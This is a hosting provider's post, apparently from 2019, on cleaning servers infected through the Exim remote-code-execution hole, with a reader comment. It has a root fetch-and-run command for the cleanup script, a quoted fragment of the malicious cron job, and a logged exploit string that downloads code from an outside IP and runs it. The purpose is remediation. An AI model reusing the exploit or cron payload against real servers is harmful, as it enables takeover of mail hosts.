The first wave affected by the Exim vulnerability. Treatment script
Vulnerability with RCE in Exim has already made a lot of noise, and pretty much patted the nerves of system administrators around the world.
In the wake of massive infections (many of our clients use Exim as their mail server), I quickly set up a script to automate the solution of the problem. The script is far from ideal and is full of non-optimal code, but this is a quick combat solution in order not to perform the same type of actions on hundreds or even thousands of servers.
Works on servers running Centos, RHEL, Debian, Ubuntu with the Exim mail server installed.
How to understand that the server is hacked?
Check running processes with top command
On infected servers, there is a 100% load created by the process. [kthrotlds] Also in the cron scheduler is added a task with limited editing rights.
Alert section
All the incidents of infection we have encountered were of the same type, the second and third waves may differ from them – they may have to modify the script. At the time of infection, tasks in cron are lost irretrievably and they must be returned by hand. The "hacks from the shoulder" script – fearlessly updates Exim to patched versions, in the case of Centos 6, even from the test repository. The malware instance sits in memory, so the server necessarily need to restart immediately after cleaning the crowns.
Important: The vulnerability allows to execute code from under the root, which does not give any guarantees of absolute healing. Having root access to the server, you can hide almost anything on this server, so that it will be almost impossible to find it. Guaranteed to completely cure the server can only be a complete reinstallation, but it is not always possible. If there is no possibility to reinstall the server, and the symptoms coincide with those described – you can try to quickly fill the holes with this script.
Using the script, you do this at your own risk: we tested the script on a number of servers, however, there are always risks of incompatible software versions or configuration conflicts.
Also, our script allows to cure only one of the possible implementations of the infection – it is possible that there are already other ways to exploit vulnerabilities that have not come to our attention.
What does the script do?
1. If the operating system installed on the server:
- Not Centos 6 updates Exim, reinstalls curl.
- Centos 6 – updates Exim from the EPEL test repository (release to regular repositories is expected 11-12.06), reinstalls curl.
2. Checks for infection on the server.
2a If there are traces of a viral script in the / etc folder, do the following
- stop cron
- kills a process started by a viral script
- kills processes curl wget sh four times (run by a virus on a schedule)
- cleans the mail queue from all letters (infected messages cannot be separated from harmless ones, therefore you have to delete the entire queue)
- allows deleting files where fragments of a malicious script are located:
/etc/cron.daily/cronlog
/etc/cron.d/root
/etc/cron.d/.cronbus
/etc/cron.hourly/cronlog
/etc/cron.monthly/cronlog
/ var / spool / cron / root
/ var / spool / cron / crontabs / root
/etc/cron.d/root
/ etc / crontab
/root/.cache/
/root/.cache/a
/ usr / local / bin / nptd
/root/.cache/.kswapd
/ usr / bin / [kthrotlds]/root/.ssh/authorized_keys
/.cache/*
/.cache/.sysud
/.cache/.a
/.cache/.favicon.ico
/.cache/.kswapd
/.cache/.ntp - deletes these files
- deletes the autostart job in /etc/rc.local
- removes an attacker's key from allowed ssh keys
- runs cron
- and immediately restarts the server
2b. If there are no traces of infection, the script quits.
Clarifications
All tasks cron scheduler virus removes. Therefore, after restarting the server, they need to be reconfigured or restored from a backup.
curl is also infected with a virus, so it is reinstalled.
A reboot (the script performs it automatically after disinfection) is mandatory – otherwise the malware is stored in the server’s memory and replicates itself every 30 seconds even after the removal of infected files.
How to use?
To run the script:
Connect to the server using ssh as root. You can also use the Shell client in the ISPmanager – Tools panel.
In the terminal, enter the command:
wget http://lechilka.firstvds.ru/exim_rce_fixer.sh && chmod + x exim_rce_fixer.sh && ./exim_rce_fixer.sh
Wait for the script to complete and reboot the server.
After the reboot, check the operation of the server and the sites / applications hosted on it, reconfigure or restore tasks to cron from the backup
* The script analyzes the task scheduler for suspicious inclusions. For example, such:
* / 11 * * * * root tbin = $ (command -v passwd); bpath = $ (dirname "$ {tbin}"); curl = "curl"; if [ $(curl --version 2>/dev/null|grep "curl "|wc -l) -eq 0 ]; then curl = "echo"; if [ "${bpath}" != "" ]; then for f in $ {bpath} *; do strings $ f 2> / dev / null | grep -q "CURLOPT_VERBOSE" && curl = "$ f" && break; done; fi; fi; wget = "wget"; if [ $(wget --version 2>/dev/null|grep "wgetrc "|wc -l) -eq 0 ]; then wget = "echo"; if [ "${bpath}" != "" ]; then for f in $ {bpath} *; do strings $ f 2> / dev / null | grep -q "to
And finally
In essence, the script is temporary solution to restore server health, for guaranteed prevention, the best solution is to switch to a new server with the version of the operating system that no longer contains vulnerabilities.
And traditionally: before starting, make sure that you have an up-to-date backup copy of the server data.
Good luck!
I got hit with this just over an hour before I applied the fix on a Debian server. The first modification was to /etc/ssh/sshd_config. That happened one minute after the following exim4 log entries (fqdn changed):
2019-06-12 05:13:36 1hb0G8-0004Qa-MK <= H=(my.domain.name) [89.248.171.57] P=smtp S=824
2019-06-12 05:13:37 1hb0G8-0004Qa-MK ** ${run{\x2fbin\x2fbash\x20\x2dc\x20\x22wget\x20\x2d\x2dno\x2dcheck\x2dcertificate\x20\x2dT\x2036\x20https\x3a\x2f\x2f185\x2e10\x2e68\x2e193\x2fldm1ip\x20\x2dO\x20\x2froot\x2f\x2ejfmfrjdo\x20\x26\x26\x20sh\x20\x2froot\x2f\x2ejfmfrjdo\x20\x2dn\x20\x26\x22}}@my.domain.name: Too many “Received” headers – suspected mail loop